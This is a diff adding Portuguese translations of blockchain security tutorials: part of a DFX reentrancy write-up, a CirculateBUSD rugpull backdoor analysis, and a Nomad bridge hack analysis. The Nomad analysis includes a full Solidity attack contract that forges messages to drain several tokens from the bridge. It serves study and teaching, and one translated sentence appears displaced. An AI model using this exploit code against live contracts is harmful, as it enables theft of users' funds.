de retorno da função flash, chamar a função deposit do contrato atacado para enviar de volta os tokens USDC e XIDR, realizando a reentrância. + 5. Como a função deposit foi executada, chamar diretamente a função withdraw do contrato atacado para retirar os tokens. + + O código completo do PoC pode ser encontrado no repositório DeFiHackLabs: [DFX_exp.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/DFX_exp.sol) + +- Verificação do fluxo de fundos + Agora podemos verificar o fluxo de fundos com base nos eventos emitidos pelos tokens na transação de ataque. + + ![image](https://user-images.githubusercontent.com/53768199/215331469-e1edd9b4-5147-4f82-9e38-64edce3cc91f.png) + + O evento emitido durante a execução da função deposit verifica que os tokens "dfx-xidr-v2" foram emitidos para o endereço do atacante. + + ![image](https://user-images.githubusercontent.com/53768199/215331545-9730e5b0-564d-45d8-b169-3b7c8651962f.png) + + O evento de transferência dos tokens USDC e XIDR durante a execução da função flash corresponde ao recebimento de alguns tokens USDC e XIDR pela carteira multiassinatura do DFX Finance. + + ![image](https://user-images.githubusercontent.com/53768199/215331819-d80a1775-4056-4ddd-9083-6f5241d07213.png) + + O evento emitido durante a execução da função withdraw verifica que os tokens "dfx-xidr-v2" foram enviados para o endereço 0x0 para serem destruídos. + +- Conclusão +O ataque de reentrância no DFX Finance é um exemplo clássico de reentrância entre funções. O atacante conseguiu realizar a reentrância chamando a função deposit durante a chamada de retorno da função flash. É importante mencionar que esse tipo de ataque é semelhante ao desafio "Side Entrance" do CTF Damn Vulnerable DeFi. Se os desenvolvedores do projeto tivessem feito esse desafio anteriormente, talvez esse ataque não tivesse ocorrido. Além disso, em dezembro do mesmo ano, o projeto Defrost também foi atacado usando a mesma técnica de reentrância. + +## Recursos de aprendizado +[Reentrancy Attacks on Smart Contracts Distilled](https://blog.pessimistic.io/reentrancy-attacks-on-smart-contracts-distilled-7fed3b04f4b6) +[C.R.E.A.M. Finance Post Mortem: AMP Exploit](https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5) +[Cross-Contract Reentrancy Attack](https://inspexco.medium.com/cross-contract-reentrancy-attack-402d27a02a15) +[Sherlock Yield Strategy Bug Bounty Post-Mortem](https://mirror.xyz/0xE400820f3D60d77a3EC8018d44366ed0d334f93C/LOZF1YBcH1eBdxlC6HP223cAMeTpNgQ-Kc4EjQuxmGA) +[Decoding $220K Read-only Reentrancy Exploit | QuillAudits](https://quillaudits.medium.com/decoding-220k-read-only-reentrancy-exploit-quillaudits-30871d728ad5) + diff --git a/Languages/pt-br/Topics/Onchain_debug/06_Rugpull/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/06_Rugpull/en/readme.md new file mode 100644 index 000000000..8b4a9b73e --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/06_Rugpull/en/readme.md @@ -0,0 +1,78 @@ +# Depuração de Transações OnChain: 6. Análise do Projeto CirculateBUSD Rugpull, Perda de $2,27 Milhões! + +Autor: [Numen Cyber Technology](https://twitter.com/numencyber) + +12 de janeiro de 2023, às 07:22:39 AM +UTC, de acordo com o monitoramento on-chain da NUMEN, o projeto CirculateBUSD foi drenado pelo criador do contrato, causando uma perda de 2,27 milhões de dólares. + +A transferência de fundos deste projeto ocorre principalmente porque o administrador chama a função CirculateBUSD.startTrading, e o parâmetro principal de julgamento em startTrading é o valor retornado pelo contrato SwapHelper.TradingInfo, que não é de código aberto, definido pelo administrador, e em seguida chama SwapHelper.swaptoToken para transferir os fundos. + +Transação: [https://bscscan.com/tx/0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3](https://bscscan.com/tx/0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3) + +
+Capa +
+ +**Análise:** +============= + +Primeiramente, é chamada a função startTrading do contrato ([https://bscscan.com/address/0x9639d76092b2ae074a7e2d13ac030b4b6a0313ff](https://bscscan.com/address/0x9639d76092b2ae074a7e2d13ac030b4b6a0313ff)), e dentro da função é chamada a função TradingInfo do contrato SwapHelper, com os seguintes detalhes. O código é o seguinte. + +
+Capa +
+ +--- + +
+Capa +
+ +A figura acima é a pilha de chamadas da transação. Combinando com o código, podemos ver que o TradingInfo faz apenas algumas chamadas estáticas, o problema chave não está nesta função. Continuando com a análise, encontramos que a pilha de chamadas corresponde à operação de aprovação e safeapprove. Em seguida, é chamada a função swaptoToken do contrato SwapHelper, que foi encontrada como uma função chave em combinação com a pilha de chamadas, e a transação de transferência foi executada nesta chamada. O contrato SwapHelper não é de código aberto, como encontrado nas informações on-chain no seguinte endereço. + +[https://bscscan.com/address/0x112f8834cd3db8d2dded90be6ba924a88f56eb4b#code](https://bscscan.com/address/0x112f8834cd3db8d2dded90be6ba924a88f56eb4b#code) + +Tentando reverter a análise, primeiro localizamos a assinatura da função 0x63437561. + +
+Capa +
+ +Em seguida, localizamos esta função após descompilar e tentamos encontrar palavras-chave como transfer porque você vê que a pilha de chamadas aciona uma transferência. + +
+Capa +
+ +Localizamos então este trecho da função, primeiro stor\_6\_0\_19, e lemos essa parte primeiro. + +
+Capa +
+ +Neste ponto, obtivemos o endereço de transferência, 0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7, que foi encontrado ser o mesmo endereço de transferência da pilha de chamadas. + +
+Capa +
+ +Quando analisamos cuidadosamente os ramos if e else desta função, descobrimos que se a condição if for atendida, será feita uma redenção normal. Porque através do slot para obter stor5 é 0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e, este contrato é pancakerouter. A função backdoor está no ramo else, desde que os parâmetros passados e o valor armazenado no slot7 sejam iguais, será acionada. + +
+Capa +
+ +A função abaixo é para modificar o valor da posição do slot 7, e a permissão de chamada é de propriedade apenas do proprietário do contrato. + +
+Capa +
+ +Toda a análise acima é suficiente para determinar que este é um evento de execução lateral do projeto. + +Resumo +======= + +A Numen Cyber Labs lembra aos usuários que, ao fazer investimentos, é necessário realizar auditorias de segurança nos contratos do projeto. Pode haver funções no contrato não verificado onde a autoridade do projeto é muito grande ou afeta diretamente a segurança dos ativos do usuário. Os problemas deste projeto são apenas a ponta do iceberg de todo o ecossistema blockchain. Quando os usuários investem e as partes do projeto desenvolvem projetos, é necessário realizar auditorias de segurança no código. + +A Numen Cyber Labs está comprometida em proteger a segurança ecológica do Web3. Fique atento para mais notícias e análises sobre ataques. + diff --git a/Languages/pt-br/Topics/Onchain_debug/06_Rugpull/readme.md b/Languages/pt-br/Topics/Onchain_debug/06_Rugpull/readme.md new file mode 100644 index 000000000..3588ee587 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/06_Rugpull/readme.md @@ -0,0 +1,69 @@ +# Depuração de Transações OnChain: 6. Análise do Projeto CirculateBUSD Rugpull, Perda de $2,27 Milhões! + +Autor: [Numen Cyber Technology](https://twitter.com/numencyber) + +## Introdução +De acordo com o monitoramento OnChain da NUMEN, em 12 de janeiro de 2023 às 14:22:39 (horário de Singapura), o projeto CirculateBUSD realizou um rugpull, resultando em uma perda de $2,27 milhões. A transferência de fundos do projeto foi principalmente realizada pelo administrador através da chamada da função `CirculateBUSD.startTrading`, onde o principal parâmetro de verificação é o valor retornado pela função não open-source `SwapHelper.TradingInfo`. Em seguida, os fundos foram transferidos através da chamada da função `SwapHelper.swaptoToken`. + +
+Cover +
+ +### Análise do Evento + +* Primeiro, a função `startTrading` do contrato foi chamada, e dentro dessa função foi chamada a função `TradingInfo` do contrato [SwapHelper](https://bscscan.com/address/0x9639d76092b2ae074a7e2d13ac030b4b6a0313ff), como mostrado no código abaixo. + +
+ Cover +
+ +--- +
+ Cover +
+ + A imagem acima mostra a pilha de chamadas da transação, e combinando com o código, podemos ver que `TradingInfo` é apenas uma chamada estática, e o problema chave não está nessa função. Continuando a análise, encontramos as operações `approve` e `safeapprove` na pilha de chamadas. Em seguida, a função `swaptoToken` do contrato SwapHelper é chamada, e combinando com a pilha de chamadas, percebemos que essa é uma função chave onde a transferência de fundos é executada. Através das informações na blockchain, descobrimos que o contrato SwapHelper não é open-source, e o endereço específico é: https://bscscan.com/address/0x112f8834cd3db8d2dded90be6ba924a88f56eb4b#code + +* Vamos tentar fazer uma análise reversa. + 1. Primeiro, localizamos a assinatura da função `0x63437561`. +
+ Cover +
+ + + 2. Localizamos a função descompilada, e como vimos que a transferência foi acionada na pilha de chamadas, tentamos procurar palavras-chave como `transfer`. +
+ Cover +
+ + + 3. Localizamos esse trecho do código da função, começando com `stor_6_0_19`, e o extraímos. +
+ Cover +
+ + + 4. Agora temos o endereço de transferência `to`, `0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7`, que é o mesmo endereço de transferência na pilha de chamadas. +
+ Cover +
+ + + 5. Analisando cuidadosamente o fluxo de controle do if e else dessa função, percebemos que se o if for verdadeiro, é uma troca normal. Porque através do slot, sabemos que `stor5` é `0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e`, que é o contrato `pancakerouter`. A função de backdoor está no else, e basta passar um parâmetro igual ao valor armazenado no slot7 `stor7` para acioná-la. + +
+ Cover +
+ + + 6. Essa função é responsável por modificar o valor armazenado no slot7, e só pode ser acionada pelo owner do contrato. + +
+ Cover +
+ + Todas as análises acima são suficientes para concluir que se trata de um caso de rugpull por parte do projeto. + +## Conclusão +O laboratório NUMEN lembra aos usuários que ao investir, é necessário realizar uma auditoria de segurança nos contratos dos projetos. Contratos não verificados podem conter funcionalidades que dão ao projeto permissões excessivas ou afetam diretamente a segurança dos ativos dos usuários. Os problemas encontrados neste projeto são apenas a ponta do iceberg no ecossistema blockchain como um todo. Ao investir e desenvolver projetos, é essencial realizar uma auditoria de segurança no código. A NUMEN está focada em garantir a segurança do ecossistema web3. + diff --git a/Languages/pt-br/Topics/Onchain_debug/07_analysis_bridge/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/07_analysis_bridge/en/readme.md new file mode 100644 index 000000000..752796a54 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/07_analysis_bridge/en/readme.md @@ -0,0 +1,332 @@ +# Depuração de Transações OnChain: 7. Análise do Hack: Nomad Bridge (2022/08) + +### Autor: [gmhacker.eth](https://twitter.com/realgmhacker) + +## Introdução +A ponte Nomad foi hackeada em 1º de agosto de 2022 e $190 milhões de fundos bloqueados foram drenados. Depois que um atacante conseguiu explorar a vulnerabilidade e obter sucesso, outros viajantes da floresta escura se juntaram para repetir o exploit, o que acabou se tornando um hack colossal "colaborativo". + +Uma atualização de rotina na implementação de um dos contratos proxy do Nomad marcou um valor de hash zero como uma raiz confiável, o que permitiu que as mensagens fossem automaticamente comprovadas. O hacker aproveitou essa vulnerabilidade para falsificar o contrato da ponte e enganá-lo para desbloquear fundos. + +Apenas essa primeira transação bem-sucedida, que pode ser vista [aqui](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), drenou 100 WBTC da ponte - cerca de $2,3 milhões na época. Não foi necessário um flashloan ou outra interação complexa com outro protocolo DeFi. O ataque simplesmente chamou uma função no contrato com a entrada de mensagem correta, e o atacante continuou atacando a liquidez do protocolo. + +Infelizmente, a natureza simples e repetível da transação levou outros a coletar parte do lucro ilícito. Como [Rekt News](https://rekt.news/nomad-rekt/) colocou, "Fiel aos princípios do DeFi, esse hack foi sem permissão - qualquer um poderia participar". + +Neste artigo, analisaremos a vulnerabilidade explorada no contrato Replica da ponte Nomad e, em seguida, criaremos nossa própria versão do ataque para drenar toda a liquidez em uma transação, testando-a em um fork local. Você pode verificar o PoC completo [aqui](https://github.com/immunefi-team/hack-analysis-pocs/tree/main/src/nomad-august-2022). + +Este artigo foi escrito por [gmhacker.eth](https://twitter.com/realgmhacker), um Triador de Contratos Inteligentes da Immunefi. + +## Contexto + +O Nomad é um protocolo de comunicação entre cadeias que permite, entre outras coisas, a ponte de tokens entre Ethereum, Moonbeam e outras cadeias. As mensagens enviadas para os contratos Nomad são verificadas e transportadas para outras cadeias por meio de agentes off-chain, seguindo um mecanismo de verificação otimista. + +Como a maioria dos protocolos de ponte entre cadeias, a ponte de tokens do Nomad é capaz de transferir valor por meio de diferentes cadeias por meio de um processo de bloqueio de tokens de um lado e emissão de representantes do outro. Como esses tokens representativos podem eventualmente ser queimados para desbloquear os fundos originais (ou seja, retornar à cadeia nativa do token), eles funcionam como IOUs e têm o mesmo valor econômico dos ERC-20 originais. Esse aspecto das pontes em geral leva a uma grande acumulação de fundos dentro de um contrato inteligente complexo, tornando-o um alvo muito desejado para hackers. + +
+Capa +
+ +Processo de bloqueio e emissão, src: [blog da MakerDAO](https://blog.makerdao.com/what-are-blockchain-bridges-and-why-are-they-important-for-defi/) + +No caso do Nomad, um contrato chamado `Replica`, que é implantado em todas as cadeias suportadas, é responsável por validar mensagens em uma estrutura de árvore de Merkle. Outros contratos no protocolo dependem disso para autenticação de mensagens de entrada. Uma vez que uma mensagem é validada, ela é armazenada na árvore de Merkle, gerando uma nova raiz da árvore comprometida que é confirmada para ser processada. + +## Causa Raiz + +Tendo uma compreensão geral do que é a ponte Nomad, podemos mergulhar no código real do contrato inteligente para explorar a vulnerabilidade que foi aproveitada nas várias transações do hack de agosto de 2022. Para fazer isso, precisamos nos aprofundar no contrato `Replica`. + +``` + function process(bytes memory _message) public returns (bool _success) { + // ensure message was meant for this domain + bytes29 _m = _message.ref(0); + require(_m.destination() == localDomain, "!destination"); + // ensure message has been proven + bytes32 _messageHash = _m.keccak(); + require(acceptableRoot(messages[_messageHash]), "!proven"); + // check re-entrancy guard + require(entered == 1, "!reentrant"); + entered = 0; + // update message status as processed + messages[_messageHash] = LEGACY_STATUS_PROCESSED; + // call handle function + IMessageRecipient(_m.recipientAddress()).handle( + _m.origin(), + _m.nonce(), + _m.sender(), + _m.body().clone() + ); + // emit process results + emit Process(_messageHash, true, ""); + // reset re-entrancy guard + entered = 1; + // return true + return true; + } +``` +
+ +Trecho 1: função `process` em Replica.sol, veja [raw](https://gist.github.com/gists-immunefi/f8ef00be9e1c5dd4d879a418966191e0#file-nomad-hack-analysis-1-sol). + +
+ +A função `process` [function](https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code%23F1%23L179) no contrato `Replica` é responsável por despachar uma mensagem para seu destinatário final. Isso só será bem-sucedido se a mensagem de entrada já tiver sido comprovada, o que significa que a mensagem já foi adicionada à árvore de Merkle, levando a uma raiz aceita e confiável. Essa verificação é feita em relação ao hash da mensagem, usando a função de visualização `acceptableRoot`, que lerá o mapeamento de raízes confirmadas. + +``` + function initialize( + uint32 _remoteDomain, + address _updater, + bytes32 _committedRoot, + uint256 _optimisticSeconds + ) public initializer { + __NomadBase_initialize(_updater); + // set storage variables + entered = 1; + remoteDomain = _remoteDomain; + committedRoot = _committedRoot; + // pre-approve the committed root. + confirmAt[_committedRoot] = 1; + _setOptimisticTimeout(_optimisticSeconds); + } +``` +
+ +Trecho 2: função `initialize` em Replica.sol, veja [raw](https://gist.github.com/gists-immunefi/4792c4bb10d3f73648b4b0f86e564ac9#file-nomad-hack-analysis-2-sol). + +
+ +Quando ocorre uma atualização na implementação de um determinado contrato proxy, a lógica de atualização pode executar uma função de inicialização de chamada única. Essa função definirá alguns valores de estado iniciais. Em particular, uma atualização de rotina em 21 de abril foi feita e o valor 0x00 foi passado como a raiz comprometida pré-aprovada, que é armazenada no mapeamento confirmAt. Foi aí que a vulnerabilidade apareceu. + +Voltando à função `process()`, vemos que dependemos de verificar um hash de mensagem no mapeamento `messages`. Esse mapeamento é responsável por marcar as mensagens como processadas, para que os atacantes não possam repetir a mesma mensagem. + +Um aspecto particular do armazenamento de contrato inteligente EVM é que todos os slots são inicializados virtualmente como valores zero, o que significa que se alguém ler um slot não utilizado no armazenamento, não será gerada uma exceção, mas sim retornará 0x00. Um corolário disso é que toda chave não utilizada em um mapeamento Solidity retornará 0x00. Seguindo essa lógica, sempre que o hash da mensagem não estiver presente no mapeamento `messages`, será retornado 0x00, e isso será passado para a função `acceptableRoot`, que por sua vez retornará verdadeiro, dado que 0x00 foi definido como uma raiz confiável. A mensagem será então marcada como processada, mas qualquer pessoa pode simplesmente alterar a mensagem para criar uma nova mensagem não utilizada e enviá-la novamente. + +A mensagem de entrada codifica vários parâmetros diferentes em um determinado formato. Entre eles, para uma mensagem desbloquear fundos da ponte, há o endereço do destinatário. Portanto, depois que o primeiro atacante executou uma [transação bem-sucedida](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), qualquer pessoa que soubesse como decodificar o formato da mensagem poderia simplesmente alterar o endereço do destinatário e repetir a transação de ataque, desta vez com uma mensagem diferente que daria lucro para o novo endereço. + +## Prova de Conceito + +Agora que entendemos a vulnerabilidade que comprometeu o protocolo Nomad, podemos formular nossa própria prova de conceito (PoC). Vamos criar mensagens específicas para chamar a função `process` no contrato `Replica` uma vez para cada token específico que queremos drenar, levando à insolvência do protocolo em uma única transação. + +Começaremos selecionando um provedor RPC com acesso a arquivos. Para esta demonstração, usaremos [o agregador RPC público gratuito](https://www.ankr.com/rpc/eth/) fornecido pela Ankr. Selecionamos o número do bloco 15259100 como nosso bloco de fork, 1 bloco antes da primeira transação de hack. + +Nossa PoC precisa passar por várias etapas em uma única transação para ter sucesso. Aqui está uma visão geral de alto nível do que implementaremos em nossa PoC de ataque: + +1. Selecionar um determinado token ERC-20 e verificar o saldo do contrato de ponte ERC-20 do Nomad. +2. Gerar uma carga útil de mensagem com os parâmetros corretos para desbloquear fundos, entre os quais nosso endereço de atacante como destinatário e o saldo total do token como a quantidade de fundos a serem desbloqueados. +3. Chamar a função vulnerável `process`, o que levará à transferência de tokens para o endereço do destinatário. +4. Percorrer vários tokens ERC-20 com uma presença relevante no saldo da ponte para drenar esses fundos da mesma maneira. + +Vamos codificar uma etapa de cada vez e, eventualmente, ver como fica toda a PoC. Usaremos o Foundry. + +## O Ataque + +``` +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = IERC20(token).balanceOf(ERC20_BRIDGE); + + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory) {} +} +``` +
+ +Trecho 3: O início do nosso contrato de ataque, veja [raw](https://gist.github.com/gists-immunefi/4305df38623ddcaa11812a9c186c73ac#file-nomad-hack-analysis-3-sol). + +
+ +Vamos começar criando nosso contrato Attacker. O ponto de entrada para nosso contrato será a função `attack`, que é tão simples quanto um loop for percorrendo vários endereços de token diferentes. Verificamos o saldo de `ERC20_BRIDGE` do token específico com o qual estamos lidando. Este é o endereço do contrato de ponte ERC-20 do Nomad, que detém os fundos bloqueados no Ethereum. + +Depois disso, a carga útil maliciosa da mensagem é gerada. Os parâmetros que mudarão em cada iteração do loop são o endereço do token e a quantidade de fundos a serem transferidos. A mensagem gerada será a entrada para a função `IReplica.process`. Como já estabelecemos, essa função encaminhará a mensagem codificada para o contrato final correto no protocolo Nomad para concretizar a solicitação de desbloqueio e transferência, enganando efetivamente a lógica da ponte. + +``` + +contract Attacker { + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` +
+ +Trecho 4: Gere a mensagem maliciosa com o formato e parâmetros corretos, veja [raw](https://gist.github.com/gists-immunefi/2a5fbe2e6034dd30534bdd4433b52a29#file-nomad-hack-analysis-4-sol). + +
+ +A mensagem gerada precisa ser codificada com vários parâmetros diferentes, para que seja corretamente descompactada pelo protocolo. É importante especificar o caminho de encaminhamento da mensagem - o roteador da ponte e os endereços da ponte ERC-20. Devemos marcar a mensagem como uma transferência de token, daí o valor `0x3` como o tipo. + +Por fim, temos que especificar os parâmetros que nos trarão lucro - o endereço correto do token, a quantidade a ser transferida e o destinatário dessa transferência. Como já vimos, isso certamente criará uma nova mensagem original que nunca foi processada pelo contrato `Replica`, o que significa que ela será realmente vista como válida, de acordo com nossa explicação anterior. + +ataque. Se tivéssemos alguns logs do Foundry, nossa PoC ainda teria apenas 87 linhas de código. + +Se executarmos esta PoC no número do bloco bifurcado, obteremos os seguintes lucros: + +* 1.028 WBTC +* 22.876 WETH +* 87.459.362 USDC +* 8.625.217 USDT +* 4.533.633 DAI +* 119.088 FXS +* 113.403.733 CQT + +## Conclusão + +O exploit da ponte Nomad foi um dos maiores hacks de 2022. O ataque destaca a importância da segurança em todo o protocolo. Neste caso específico, aprendemos como uma única atualização de rotina em uma implementação de proxy pode causar uma vulnerabilidade crítica e comprometer todos os fundos bloqueados. Além disso, durante o desenvolvimento, é necessário ter cuidado com os valores padrão 0x00 nos slots de armazenamento, especialmente na lógica que envolve mapeamentos. Também é bom ter uma configuração de teste de unidade para esses valores comuns que podem levar a vulnerabilidades. + +Deve-se observar que algumas contas de saqueadores que drenaram parte dos fundos os devolveram ao protocolo. Há [planos para relançar a ponte](https://medium.com/nomad-xyz-blog/nomad-bridge-relaunch-guide-3a4ef6624f90), e os ativos devolvidos serão distribuídos aos usuários por meio de ações proporcionais dos fundos recuperados. Quaisquer fundos roubados podem ser devolvidos para a [carteira de recuperação](https://etherscan.io/address/0x94a84433101a10aeda762968f6995c574d1bf154) do Nomad. + +Como mencionado anteriormente, esta PoC na verdade aprimora o hack e drena todo o TVL em uma única transação. É um ataque mais simples do que o que realmente aconteceu na realidade. É assim que fica toda a nossa PoC, com a adição de alguns logs úteis do Foundry: + +``` +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; +import "forge-std/console.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = ERC20(token).balanceOf(ERC20_BRIDGE); + + console.log( + "[*] Stealing", + amount_bridge / 10**ERC20(token).decimals(), + ERC20(token).symbol() + ); + console.log( + " Attacker balance before:", + ERC20(token).balanceOf(msg.sender) + ); + + // Generate the payload with all of the tokens stored on the bridge + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + + console.log( + " Attacker balance after: ", + IERC20(token).balanceOf(msg.sender) / 10**ERC20(token).decimals() + ); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` +
+ +Trecho 5: todo o código, veja [raw](https://gist.github.com/gists-immunefi/2bdffe6f9683c9b3ab810e1fb7fe4aff#file-nomad-hack-analysis-5-sol). + +
+. + diff --git a/Languages/pt-br/Topics/Onchain_debug/07_analysis_bridge/readme.md b/Languages/pt-br/Topics/Onchain_debug/07_analysis_bridge/readme.md new file mode 100644 index 000000000..2e95d9955 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/07_analysis_bridge/readme.md @@ -0,0 +1,307 @@ +# Depuração de Transações OnChain: 7. Análise do Evento de Ponte Nomad (2022/08) + +Autor: [gmhacker.eth](https://twitter.com/realgmhacker) + +Tradução: [Spark](https://twitter.com/SparkToday00) + +## Visão Geral do Evento (Introdução) +Em 1º de agosto de 2022, a Ponte Nomad foi alvo de um ataque hacker. Um total de US$ 190 milhões em ativos bloqueados foram roubados durante o incidente. Após o sucesso do primeiro hacker, muitos outros viajantes da Floresta Negra se juntaram aos ataques de imitação, resultando em um grave incidente de segurança com múltiplas fontes de ataque. + +A causa fundamental foi uma atualização de rotina em um contrato de proxy da Nomad, que marcou um valor de hash zero como uma raiz confiável, permitindo que qualquer mensagem fosse automaticamente comprovada. O hacker explorou essa vulnerabilidade para enganar o contrato da ponte e desbloquear os fundos. A primeira [transação de ataque](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460) lucrou 100 WBTC, equivalente a cerca de US$ 2,3 milhões. + +Neste ataque, o invasor não precisava de empréstimos relâmpago ou interações complexas com outros protocolos DeFi. O processo de ataque envolveu apenas a chamada de uma função em um contrato e o lançamento de um ataque à liquidez do protocolo com a entrada correta da mensagem. A simplicidade e a capacidade de reprodução da transação de ataque levaram outras pessoas a coletar parte dos lucros ilegais, tornando o evento ainda pior. + +Como mencionado pela [Rekt News](https://rekt.news/nomad-rekt/), "como é o jogo no DeFi, este ataque hacker foi quase sem barreiras, qualquer um poderia entrar". + +## Contexto (Antecedentes) +A Nomad é uma aplicação de interação entre cadeias que permite operações de tokens entre Ethereum, Moonbeam e outras cadeias. As mensagens enviadas ao contrato da Nomad são verificadas e transmitidas para outras cadeias por meio de um mecanismo de proxy offline, seguindo o mecanismo de verificação otimista. + +Como a maioria dos protocolos de ponte entre cadeias, a transferência de tokens da Nomad é realizada bloqueando os tokens de um lado e emitindo tokens do outro lado para concluir a transferência de valor em cadeias diferentes. Esses tokens representativos podem ser queimados para desbloquear os fundos originais (ou seja, retornar os tokens para a cadeia nativa do token), atuando como promissórias com o mesmo valor econômico dos tokens ERC-20 originais. Por causa disso, os projetos de ponte entre cadeias acumulam uma grande quantidade de fundos em contratos inteligentes complexos, tornando-os alvos atraentes para hackers. + +![](https://miro.medium.com/v2/resize:fit:1400/0*-reF-Ys6qVUWwnfJ) +Processo de bloqueio e emissão de tokens de ponte entre cadeias, referência: [Blog MakerDAO](https://blog.makerdao.com/what-are-blockchain-bridges-and-why-are-they-important-for-defi/) + +No projeto Nomad, um contrato chamado **Replica** é usado para verificar as mensagens em uma estrutura de árvore de Merkle, que é implantada em várias cadeias. Os outros contratos do projeto dependem desse contrato para verificar as mensagens de entrada. Uma vez que uma mensagem é verificada, ela é armazenada na árvore de Merkle e gera uma nova raiz de árvore, que é posteriormente confirmada e processada. + +## Causa Fundamental (Causa Raiz) +Agora que temos uma compreensão geral da Ponte Nomad, podemos mergulhar no código real do contrato inteligente para explorar a causa fundamental do ataque hacker de agosto de 2022. Para fazer isso, precisamos entender em detalhes o contrato **Replica**. + +*Trecho de código do contrato Replica.sol `process` [aqui](https://gist.github.com/gists-immunefi/f8ef00be9e1c5dd4d879a418966191e0/raw/8fb8fd808b59eca9ca51df98aef65d7ce4c805e6/Nomad%20Hack%20Analysis%201.sol)* + +```solidity= +function process(bytes memory _message) public returns (bool _success) { + // ensure message was meant for this domain + bytes29 _m = _message.ref(0); + require(_m.destination() == localDomain, "!destination"); + // ensure message has been proven + bytes32 